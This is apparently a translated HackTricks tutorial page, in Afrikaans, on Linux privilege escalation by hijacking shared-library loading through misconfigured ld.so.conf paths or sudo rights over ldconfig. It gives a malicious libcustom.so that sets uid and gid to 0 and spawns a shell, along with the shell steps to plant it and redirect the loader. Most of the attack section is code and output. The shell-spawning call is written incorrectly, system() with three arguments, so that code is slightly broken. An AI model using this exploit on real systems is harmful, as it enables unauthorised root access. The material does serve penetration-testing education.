ld.so privesc exploit voorbeeld

Reading time: 5 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Berei die omgewing voor

In die volgende afdeling kan jy die kode van die lĂȘers vind wat ons gaan gebruik om die omgewing voor te berei

c
#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. Skep daardie lĂȘers op jou masjien in dieselfde gids
  2. Kompileer die biblioteek: gcc -shared -o libcustom.so -fPIC libcustom.c
  3. Kopieer libcustom.so na /usr/lib: sudo cp libcustom.so /usr/lib (root privs)
  4. Kompileer die uitvoerbare: gcc sharedvuln.c -o sharedvuln -lcustom

Kontroleer die omgewing

Kontroleer dat libcustom.so gelaai word vanaf /usr/lib en dat jy die binĂȘre kan uitvoer.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

In hierdie scenario gaan ons veronderstel dat iemand 'n kwesbare ingang geskep het binne 'n lĂȘer in /etc/ld.so.conf/:

bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Die kwesbare gids is /home/ubuntu/lib (waar ons skryfbare toegang het).
Laai en kompileer die volgende kode binne daardie pad:

c
//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Nou dat ons die kwaadwillige libcustom biblioteek binne die verkeerd geconfigureerde pad geskep het, moet ons wag vir 'n herlaai of vir die root gebruiker om ldconfig uit te voer (in die geval dat jy hierdie binaire as sudo kan uitvoer of dit die suid bit het, sal jy dit self kan uitvoer).

Sodra dit gebeur het, herkontroleer waar die sharevuln uitvoerbare lĂȘer die libcustom.so biblioteek laai vanaf:

c
$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Soos jy kan sien, dit laai dit vanaf /home/ubuntu/lib en as enige gebruiker dit uitvoer, sal 'n shell uitgevoer word:

c
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

note

Let daarop dat ons in hierdie voorbeeld nie bevoegdhede verhoog het nie, maar deur die opdragte wat uitgevoer word te verander en te wag vir root of 'n ander bevoegde gebruiker om die kwesbare binĂȘre uit te voer sal ons in staat wees om bevoegdhede te verhoog.

Ander miskonfigurasies - Dieselfde kwesbaarheid

In die vorige voorbeeld het ons 'n miskonfigurasie gefak waar 'n administrateur 'n nie-bevoegde gids binne 'n konfigurasie-lĂȘer binne /etc/ld.so.conf.d/ gestel het.
Maar daar is ander miskonfigurasies wat dieselfde kwesbaarheid kan veroorsaak, as jy skryfregte in 'n of ander konfigurasie-lĂȘer binne /etc/ld.so.conf.ds, in die gids /etc/ld.so.conf.d of in die lĂȘer /etc/ld.so.conf het, kan jy dieselfde kwesbaarheid konfigureer en dit benut.

Exploit 2

Neem aan jy het sudo bevoegdhede oor ldconfig.
Jy kan aan dui ldconfig waar om die konfigurasie-lĂȘers van te laai, sodat ons dit kan benut om ldconfig willekeurige gidse te laat laai.
So, kom ons skep die lĂȘers en gidse wat nodig is om "/tmp" te laai:

bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Nou, soos aangedui in die vorige exploit, skep die kwaadwillige biblioteek binne /tmp.
En laastens, laat ons die pad laai en kyk waar die binĂȘre die biblioteek van laai:

bash
ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Soos wat jy kan sien, kan jy die dieselfde kwesbaarheid benut deur sudo-regte oor ldconfig te hĂȘ.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks